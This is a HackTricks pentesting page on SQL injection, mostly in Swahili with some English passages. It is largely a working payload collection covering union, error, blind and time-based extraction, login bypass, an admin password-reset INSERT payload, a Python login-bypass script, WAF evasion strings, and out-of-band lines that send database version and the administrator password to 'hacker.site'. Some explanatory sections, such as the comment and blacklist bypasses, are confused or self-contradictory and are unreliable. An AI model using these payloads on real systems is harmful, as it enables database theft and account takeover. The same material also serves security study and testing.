hacktricks/pentesting-web/sql-injection
2024-04-17 05:40:20 +00:00
..
mysql-injection Translated to Swahili 2024-02-11 02:13:58 +00:00
postgresql-injection Translated ['binary-exploitation/basic-binary-exploitation-methodology/t 2024-04-17 05:40:20 +00:00
sqlmap Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:36:12 +00:00
cypher-injection-neo4j.md Translated to Swahili 2024-02-11 02:13:58 +00:00
ms-access-sql-injection.md Translated to Swahili 2024-02-11 02:13:58 +00:00
mssql-injection.md Translated to Swahili 2024-02-11 02:13:58 +00:00
oracle-injection.md Translated to Swahili 2024-02-11 02:13:58 +00:00
README.md Translated to Swahili 2024-02-11 02:13:58 +00:00
sqlmap.md Translated to Swahili 2024-02-11 02:13:58 +00:00

SQL Injection

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Spain na moja ya muhimu zaidi barani Ulaya. Kwa kukuza maarifa ya kiufundi, mkutano huu ni sehemu ya kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.

{% embed url="https://www.rootedcon.com/" %}

Ni nini SQL injection?

SQL injection ni kasoro ya usalama inayowezesha wadukuzi kuingilia kutafuta kwenye database ya programu. Kasoro hii inaweza kuwawezesha wadukuzi kuona, kubadilisha, au kufuta data ambayo hawapaswi kuifikia, ikiwa ni pamoja na habari za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Hatua kama hizo zinaweza kusababisha mabadiliko ya kudumu kwa utendaji au maudhui ya programu au hata kudhoofisha seva au kukataa huduma.

Uchunguzi wa sehemu ya kuingia

Wakati tovuti inaonekana kuwa inavuja kwa SQL injection (SQLi) kutokana na majibu ya kawaida ya seva kwa pembejeo zinazohusiana na SQLi, hatua ya kwanza ni kuelewa jinsi ya kuingiza data kwenye utafutaji bila kuvuruga. Hii inahitaji kutambua njia ya kutoroka kutoka kwenye muktadha wa sasa kwa ufanisi. Hizi ni baadhi ya mifano muhimu:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Kisha, unahitaji kujua jinsi ya kusahihisha swali ili kusiwe na makosa. Ili kusahihisha swali, unaweza kuingiza data ili swali la awali lipokee data mpya, au unaweza tu kuingiza data yako na kuongeza alama ya maoni mwishoni.

Tafadhali kumbuka kuwa ikiwa unaweza kuona ujumbe wa makosa au unaweza kugundua tofauti wakati swali linapotumika na wakati halifanyi hivyo, hatua hii itakuwa rahisi zaidi.

Maoni

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Kuthibitisha kwa kutumia operesheni za mantiki

Njia thabiti ya kuthibitisha uwepo wa udhaifu wa SQL injection ni kutekeleza operesheni za mantiki na kuchunguza matokeo yanayotarajiwa. Kwa mfano, ikiwa kipengele cha GET kama ?username=Peter kinatoa maudhui yanayofanana wakati kinabadilishwa kuwa ?username=Peter' au '1'='1, hii inaonyesha uwepo wa udhaifu wa SQL injection.

Vivyo hivyo, matumizi ya operesheni za kihisabati ni njia yenye ufanisi ya kuthibitisha. Kwa mfano, ikiwa kupata ufikiaji wa ?id=1 na ?id=2-1 kunatoa matokeo sawa, hii inaonyesha uwepo wa SQL injection.

Mifano inayoonyesha uthibitisho wa operesheni za mantiki:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Orodha hii ya maneno iliumbwa kujaribu kuthibitisha SQLinjections kwa njia iliyopendekezwa:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Kuthibitisha kwa Kutumia Muda

Katika baadhi ya kesi huenda usigundui mabadiliko yoyote kwenye ukurasa unaojaribu. Kwa hiyo, njia nzuri ya kugundua SQL injections za kipofu ni kufanya DB ifanye vitendo na kuathiri muda ambao ukurasa unahitaji kupakia.
Kwa hiyo, tutakusanya kwenye swali la SQL operesheni ambayo itachukua muda mrefu kukamilika:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Katika baadhi ya kesi, kazi za kulala hazitaruhusiwa. Kwa hivyo, badala ya kutumia kazi hizo, unaweza kufanya shughuli ngumu ambazo zitachukua sekunde kadhaa. Mifano ya mbinu hizi itaelezwa kwa kila teknolojia tofauti (ikiwa ipo).

Kutambua Back-end

Njia bora ya kutambua back-end ni kujaribu kutekeleza kazi za back-end tofauti. Unaweza kutumia kazi za kulala kutoka sehemu iliyotangulia au hizi (meza kutoka payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Pia, ikiwa una ufikiaji wa matokeo ya swali, unaweza kufanya kichapisha toleo la hifadhidata.

{% hint style="info" %} Tutaendelea kujadili njia tofauti za kutumia aina tofauti za SQL Injection. Tutatumia MySQL kama mfano. {% endhint %}

Kutambua na PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Kutumia Union Based

Kutambua idadi ya nguzo

Ikiwa unaweza kuona matokeo ya swali hili ndio njia bora ya kuitumia.
Kwanza kabisa, tunahitaji kujua idadi ya nguzo ambazo ombi la awali linarudisha. Hii ni kwa sababu maswali yote mawili lazima yarudishe idadi sawa ya nguzo.
Kwa kawaida, njia mbili hutumiwa kwa kusudi hili:

Order/Group by

Ili kujua idadi ya nguzo katika swali, ongeza taratibu idadi inayotumiwa katika vifungu vya ORDER BY au GROUP BY mpaka upokee jibu la uwongo. Ingawa kuna tofauti katika utendaji wa GROUP BY na ORDER BY ndani ya SQL, zote zinaweza kutumiwa kwa njia sawa ya kuhakikisha idadi ya nguzo ya swali.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Chagua thamani za null zaidi na zaidi mpaka swali liwe sahihi:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Unapaswa kutumia null kama katika baadhi ya kesi aina ya nguzo za pande zote za swali lazima ziwe sawa na null ni halali katika kila kesi.

Pata majina ya database, majina ya meza na majina ya nguzo

Katika mifano ifuatayo tutapata jina la matabele ya database zote, jina la meza katika database, na majina ya nguzo katika meza:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Kuna njia tofauti za kugundua data hii kwenye kila database tofauti, lakini njia yake ni ile ile daima.

Kutumia Hidden Union Based

Wakati matokeo ya swali yanaweza kuonekana, lakini injection ya aina ya union inaonekana haiwezekani, inaashiria uwepo wa injection ya aina ya union iliyofichwa. Hali hii mara nyingi inasababisha hali ya injection isiyoonekana. Ili kubadilisha injection isiyoonekana kuwa ya aina ya union, swali la utekelezaji kwenye backend linahitaji kugunduliwa.

Hii inaweza kufanikiwa kwa kutumia mbinu za injection isiyoonekana pamoja na meza za chaguo-msingi zinazohusiana na mfumo wako wa Usimamizi wa Database (DBMS) wa lengo lako. Ili kuelewa meza hizi za chaguo-msingi, ni vyema kushauriana na nyaraka za DBMS ya lengo lako.

Baada ya swali kuchukuliwa, ni muhimu kubinafsisha mzigo wako ili kufunga salama swali asili. Kisha, swali la union linajumuishwa kwenye mzigo wako, kurahisisha utumiaji wa injection ya aina ya union iliyopatikana hivi karibuni.

Kwa ufahamu kamili zaidi, tazama makala kamili inayopatikana kwenye Kuponya Injection Isiyoonekana.

Kutumia Error Based

Ikiwa kwa sababu fulani hauwezi kuona matokeo ya swali lakini unaweza kuona ujumbe wa makosa, unaweza kutumia ujumbe huu wa makosa kuondoa data kutoka kwenye database.
Kufuata mchakato kama ule wa utumiaji wa Union Based, unaweza kufanikiwa kudump database.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Kudukua Blind SQLi

Katika kesi hii huwezi kuona matokeo ya swali au makosa, lakini unaweza kutofautisha wakati swali linarudisha jibu la kweli au uwongo kwa sababu kuna maudhui tofauti kwenye ukurasa.
Katika kesi hii, unaweza kutumia tabia hiyo kudukua database kwa kudondosha herufi kwa herufi:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Kuchexploitisha Kosa la Blind SQLi

Hii ni kisa kama kile cha awali lakini badala ya kutofautisha kati ya majibu ya kweli/siyo kweli kutoka kwa swali, unaweza kutofautisha kati ya kosa katika swali la SQL au la (labda kwa sababu seva ya HTTP inaanguka). Kwa hivyo, katika kisa hiki unaweza kulazimisha kosa la SQL kila wakati unapoweza kuhisi kwa usahihi herufi:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Kuchexploitisha Time Based SQLi

Katika kesi hii hakuna njia ya kutofautisha majibu ya swali kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa uchukue muda mrefu kujiload ikiwa herufi iliyokisiwa ni sahihi. Tumeshakwisha ona mbinu hii ikitumika hapo awali ili kuthibitisha uwepo wa SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Maswali Yaliyopangwa

Unaweza kutumia maswali yaliyopangwa ili kutekeleza maswali mengi mfululizo. Ni muhimu kutambua kuwa wakati maswali yanayofuata yanatekelezwa, matokeo hayarudishwi kwa programu. Hivyo, mbinu hii inatumika hasa kwa makosa ya kipofu ambapo unaweza kutumia swali la pili kusababisha utafutaji wa DNS, kosa la masharti, au kuchelewesha wakati.

Oracle haishikilii maswali yaliyopangwa. MySQL, Microsoft na PostgreSQL wanayashikilia: SWALI-LA-KWANZA-HAPA; SWALI-LA-PILI-HAPA

Utekaji Nje wa Nje ya Bandari

Ikiwa njia nyingine yoyote ya udukuzi haifanyi kazi, unaweza kujaribu kufanya database itoe habari kwa mwenyeji wa nje unaodhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Kutolewa kwa data nje ya wigo kupitia XXE

XXE (External Entity Injection) ni kosa la usalama ambapo mshambuliaji anaweza kuingiza entiti za nje katika XML iliyoingizwa. Kwa kutumia XXE, mshambuliaji anaweza kutekeleza mashambulizi ya kutolewa kwa data nje ya wigo.

Mara nyingi, mbinu hii hutumiwa kutekeleza mashambulizi ya kutolewa kwa data nje ya wigo kwa kutuma ombi la HTTP kwa mshambuliaji. Ombi hili linaweza kuelekezwa kwa seva ya mshambuliaji, ambapo data inaweza kuchambuliwa na kuhifadhiwa.

Kwa kufanya hivyo, mshambuliaji anaweza kuchukua udhibiti wa data iliyovuja na kuitumia kwa madhumuni yao mabaya. Hii inaweza kujumuisha kufichua habari nyeti, kama vile nywila au data ya kibinafsi.

Kwa kuzingatia hili, ni muhimu kwa watengenezaji na wataalamu wa usalama kuchukua hatua za kuzuia mashambulizi ya XXE kwa kutekeleza njia sahihi za kuzuia na kudhibiti.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Udukuzi wa Kiotomatiki

Angalia SQLMap Cheetsheat ili kudukua udhaifu wa SQLi na sqlmap.

Taarifa za Teknolojia Maalum

Tayari tumeshajadili njia zote za kudukua udhaifu wa SQL Injection. Pata mbinu zaidi za teknolojia ya database kulingana na kitabu hiki:

Au utapata mambo mengi kuhusu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite na HQL katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Spain na moja ya muhimu zaidi barani Ulaya. Kwa malengo ya kukuza maarifa ya kiufundi, mkutano huu ni sehemu ya kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.

{% embed url="https://www.rootedcon.com/" %}

Kudukua Uthibitishaji

Orodha ya kujaribu kudukua kazi ya kuingia:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Kudukua Uthibitishaji wa Hashi Moja kwa Moja

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Hii swali inaonyesha udhaifu wakati MD5 inatumika na kweli kwa ajili ya matokeo ya moja kwa moja katika uhakiki, kufanya mfumo kuwa hatarini kwa SQL injection. Wadukuzi wanaweza kutumia hili kwa kuunda matokeo ya kuingiza ambayo, wakati yanapohashwa, yanazalisha sehemu za amri za SQL zisizotarajiwa, zinazosababisha ufikiaji usiohalali.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

Kudukiza Uthibitisho wa Hash ulioingizwa

In some cases, a web application may use a hash function to authenticate users. This involves hashing the user's input and comparing it to the stored hash value. However, if the application is vulnerable to SQL injection, it may be possible to bypass this authentication mechanism.

Katika baadhi ya matukio, programu ya wavuti inaweza kutumia kazi ya hash ili kuthibitisha watumiaji. Hii inahusisha kuhesabu hash ya kuingiza ya mtumiaji na kulinganisha na thamani ya hash iliyohifadhiwa. Hata hivyo, ikiwa programu ina kasoro ya SQL injection, inaweza kuwezekana kudukiza mfumo huu wa uthibitisho.

By injecting a specially crafted SQL query, an attacker can manipulate the authentication process and bypass the hash check. This can be achieved by injecting a query that always evaluates to true, such as 1=1 or 1 OR 1=1.

Kwa kudukiza swali la SQL lililoundwa kwa umakini, mshambuliaji anaweza kubadilisha mchakato wa uthibitisho na kudukiza ukaguzi wa hash. Hii inaweza kufanikiwa kwa kuingiza swali ambalo daima linahesabiwa kuwa kweli, kama vile 1=1 au 1 AU 1=1.

Once the attacker successfully bypasses the hash check, they can gain unauthorized access to the application or perform other malicious actions.

Marudio mshambuliaji anapofanikiwa kudukiza ukaguzi wa hash, wanaweza kupata ufikiaji usiohalali kwa programu au kutekeleza vitendo vingine vya uovu.

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Orodha iliyopendekezwa:

Unapaswa kutumia kila mstari wa orodha kama jina la mtumiaji na kila wakati kama nenosiri: Pass1234.
(Mizigo hii pia imejumuishwa katika orodha kubwa iliyotajwa mwanzoni mwa sehemu hii)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK Kupitisha Uthibitishaji

Ikiwa ' inaepukwa unaweza kutumia %A8%27, na wakati ' inaepukwa itaundwa: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python script:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Uingizaji wa Polyglot (multicontext)

Polyglot injection ni mbinu ya kuingiza maagizo ya SQL ambayo inaweza kutekelezwa katika muktadha tofauti. Inaruhusu mtu kutekeleza mashambulizi ya SQL Injection kwenye aina tofauti za mifumo ya usimamizi wa database (DBMS) kwa kutumia maagizo sawa ya SQL.

Mbinu hii inafanya kazi kwa kuchanganya syntax ya SQL ambayo inaeleweka na DBMS tofauti. Kwa njia hii, unaweza kutekeleza mashambulizi ya SQL Injection kwenye mifumo tofauti ya DBMS kwa kutumia maagizo sawa ya SQL.

Polyglot injection inaweza kuwa na faida nyingi, kama vile:

  • Inaruhusu kutekeleza mashambulizi ya SQL Injection kwenye mifumo tofauti ya DBMS bila kubadilisha maagizo ya SQL.
  • Inaweza kuficha mashambulizi ya SQL Injection kwa kuonekana kama maagizo ya kawaida ya SQL.
  • Inaweza kufanya kazi kwenye mifumo ya zamani ya DBMS ambayo inasaidia syntax ya SQL iliyopitwa na wakati.

Kwa kuzingatia hili, polyglot injection ni mbinu muhimu katika uwanja wa uingizaji wa SQL na inaweza kutumiwa kwa ufanisi katika kutekeleza mashambulizi ya SQL Injection kwenye mifumo tofauti ya DBMS.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Kauli ya Kuingiza

Badilisha nenosiri la kitu/mtumiaji uliyopo

Ili kufanya hivyo, jaribu kuunda kitu kipya kikiitwa "kitu kikuu" (labda admin katika kesi ya watumiaji) kwa kubadilisha kitu fulani:

  • Unda mtumiaji anayejulikana kama: AdMIn (herufi kubwa na ndogo)
  • Unda mtumiaji anayejulikana kama: admin=
  • Shambulio la Kukata SQL (wakati kuna aina fulani ya kikomo cha urefu katika jina la mtumiaji au barua pepe) --> Unda mtumiaji mwenye jina: admin [nafasi nyingi] a

Shambulio la Kukata SQL

Ikiwa hifadhidata ina udhaifu na idadi kubwa ya herufi kwa jina la mtumiaji ni, kwa mfano, 30 na unataka kujifanya kuwa mtumiaji admin, jaribu kuunda jina la mtumiaji linaloitwa: "admin [nafasi 30] a" na nenosiri lolote.

Hifadhidata ita angalia ikiwa jina la mtumiaji lililoingizwa lipo ndani ya hifadhidata. Ikiwa halipo, ita kata jina la mtumiaji hadi idadi iliyoruhusiwa ya herufi (katika kesi hii kuwa: "admin [nafasi 25]") na kisha ita ondoa moja kwa moja nafasi zote mwishoni kwa kusasisha ndani ya hifadhidata mtumiaji "admin" na nenosiri jipya (inaweza kuonekana kosa fulani lakini hii haimaanishi kuwa haikufanya kazi).

Maelezo zaidi: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Nota: Shambulio hili halitafanya kazi tena kama ilivyoelezwa hapo juu katika ufungaji wa MySQL wa hivi karibuni. Ingawa kulinganisha bado hauzingatii nafasi za mwisho kwa chaguomsingi, jaribio la kuingiza herufi ndefu kuliko urefu wa uga litasababisha kosa, na uingizaji utashindwa. Kwa habari zaidi kuhusu hili angalia: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Uchunguzi wa Wakati wa Kuingiza MySQL

Ongeza ','','' kadri unavyoona inafaa kutoka nje ya taarifa ya VALUES. Ikiwa kuna kuchelewa, una SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Kifungu cha ON DUPLICATE KEY UPDATE katika MySQL hutumiwa kuweka hatua ambazo database itachukua wakati jaribio linapofanywa la kuweka safu ambayo itasababisha kuwepo kwa thamani sawa katika UNIQUE index au PRIMARY KEY. Mfano ufuatao unaonyesha jinsi kipengele hiki kinaweza kutumiwa kubadilisha nenosiri la akaunti ya msimamizi:

Mfano wa Kuingiza Payload:

Kuingiza payload inaweza kuundwa kama ifuatavyo, ambapo safu mbili zinajaribu kuwekwa katika meza ya users. Safu ya kwanza ni mtego, na safu ya pili inalenga barua pepe ya msimamizi ili kusasisha nenosiri:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Hapa ndivyo inavyofanya kazi:

  • Swali linajaribu kuweka safu mbili: moja kwa generic_user@example.com na nyingine kwa admin_generic@example.com.
  • Ikiwa safu ya admin_generic@example.com tayari ipo, kifungu cha ON DUPLICATE KEY UPDATE kinazindua, kikiagiza MySQL kusasisha uga wa password wa safu iliyopo na "bcrypt_hash_of_newpassword".
  • Kwa hiyo, uthibitisho unaweza kujaribiwa kwa kutumia admin_generic@example.com na nenosiri linalolingana na hash ya bcrypt ("bcrypt_hash_of_newpassword" inawakilisha hash ya bcrypt ya nenosiri jipya, ambayo inapaswa kubadilishwa na hash halisi ya nenosiri linalotakiwa).

Kunasa taarifa

Kuunda akaunti 2 kwa wakati mmoja

Unapojaribu kuunda mtumiaji mpya na jina la mtumiaji, nenosiri, na barua pepe zinahitajika:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Kutumia namba za duodecimali au heksadesimali

Kwa kutumia mbinu hii, unaweza kuchukua taarifa kwa kuunda akaunti moja tu. Ni muhimu kuelewa kwamba hauhitaji kuweka maoni yoyote.

Kwa kutumia hex2dec na substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Ili kupata maandishi unaweza kutumia:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Kwa kutumia hex na replace (na substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Spain na moja ya muhimu zaidi barani Ulaya. Kwa kukuza maarifa ya kiufundi, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.

{% embed url="https://www.rootedcon.com/" %}

Routed SQL injection

Routed SQL injection ni hali ambapo swali linaloweza kuingizwa sio linalotoa matokeo lakini matokeo ya swali linaloweza kuingizwa yanakwenda kwenye swali linalotoa matokeo. (Kutoka Kwenye Karatasi)

Mfano:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Kuvuka WAF

Bypass za awali kutoka hapa

Kuvuka bila nafasi

Bila Nafasi (%20) - kuvuka kwa kutumia mbadala wa nafasi nyeupe

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Hakuna Nafasi - kuepuka kwa kutumia maoni

Kuna njia nyingine ya kuepuka kizuizi cha nafasi nyeupe wakati wa kufanya mashambulizi ya SQL Injection. Njia hii inahusisha kutumia maoni katika maombi ya SQL ili kuficha sehemu ya msimbo ambayo inaweza kusababisha kizuizi.

Kwa kawaida, maoni katika SQL huanza na ishara ya "/" na kumalizika na ishara ya "/". Kwa kutumia maoni, tunaweza kuficha sehemu ya msimbo ambayo inaweza kusababisha kizuizi.

Kwa mfano, ikiwa tunaomba data kutoka kwa meza ya watumiaji na tunataka kuepuka kizuizi cha nafasi nyeupe, tunaweza kutumia maoni kuficha sehemu ya msimbo ambayo inahusika na nafasi nyeupe. Hapa kuna mfano wa jinsi ya kufanya hivyo:

SELECT/*+SPACE(0)*/username,password FROM users WHERE username='admin' AND password='password'

Katika mfano huu, tumetumia maoni /*+SPACE(0)*/ kabla ya jina la safu ya kwanza (username). Hii inaficha nafasi nyeupe ambayo ingesababisha kizuizi.

Kwa kutumia njia hii, tunaweza kuepuka kizuizi cha nafasi nyeupe na kufanya mashambulizi ya SQL Injection bila kugunduliwa. Ni muhimu kutambua kuwa njia hii inaweza kutofanya kazi kwenye maombi yote, kulingana na jinsi maombi yanavyosindika maoni.

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

Description:

Some web applications implement filters to block SQL injection attacks by checking for specific keywords or characters, such as whitespace. However, it is possible to bypass these filters by using alternative syntax or encoding techniques.

One common technique is to use parenthesis to separate the keywords or characters that are being filtered. By enclosing the filtered characters within parentheses, the filter can be bypassed.

Example:

Consider the following SQL query, which is vulnerable to SQL injection:

SELECT * FROM users WHERE username = 'admin' AND password = 'password'

If the application filters the whitespace character, the following injection attempt would be blocked:

SELECT * FROM users WHERE username='admin'AND password=' OR '1'='1

However, by using parenthesis to separate the filtered whitespace, the injection can be successful:

SELECT * FROM users WHERE username='admin'AND(password=' OR '1'='1')

In this example, the whitespace between username='admin' and AND is filtered. By enclosing the filtered whitespace within parentheses, the injection is no longer blocked.

Prevention:

To prevent this type of SQL injection, it is important to implement a robust input validation and sanitization mechanism. This can include:

  • Using parameterized queries or prepared statements to ensure that user input is properly escaped.
  • Implementing a web application firewall (WAF) that can detect and block SQL injection attempts.
  • Regularly updating and patching the web application to address any known vulnerabilities.
  • Conducting regular security audits and penetration testing to identify and fix any potential security flaws.
?id=(1)and(1)=(1)--

Kupita bila kuweka comma

Kupita bila kuweka comma - kwa kutumia OFFSET, FROM na JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Kupita Kwa Ujumla

Orodha nyeusi inatumia maneno muhimu - kupita kwa kutumia herufi kubwa/herufi ndogo

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

Description:

Some web applications implement a blacklist to prevent certain keywords from being used in user input. This blacklist is usually implemented in a case-sensitive manner, meaning that it only blocks exact matches of the blacklisted keywords. However, it is possible to bypass this blacklist by using an equivalent operator that achieves the same result.

Exploitation:

To bypass a case-insensitive blacklist, you can use an equivalent operator that achieves the same result. For example, if the blacklist blocks the keyword "admin", you can try using the operator "like" instead of the equal sign ("="). This operator allows you to perform a case-insensitive comparison.

Here is an example of how to bypass a case-insensitive blacklist using the "like" operator:

SELECT * FROM users WHERE username LIKE '%admin%'

In this example, the "like" operator is used to search for usernames that contain the keyword "admin", regardless of the case. This query will bypass the blacklist and retrieve the desired results.

Prevention:

To prevent bypassing a case-insensitive blacklist using an equivalent operator, it is important to implement a proper input validation mechanism. This mechanism should include both case-sensitive and case-insensitive checks to ensure that blacklisted keywords cannot be used in any form.

Additionally, it is recommended to use a whitelist approach instead of a blacklist. By defining a list of allowed characters or patterns, you can ensure that only valid input is accepted, rather than trying to block specific keywords.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
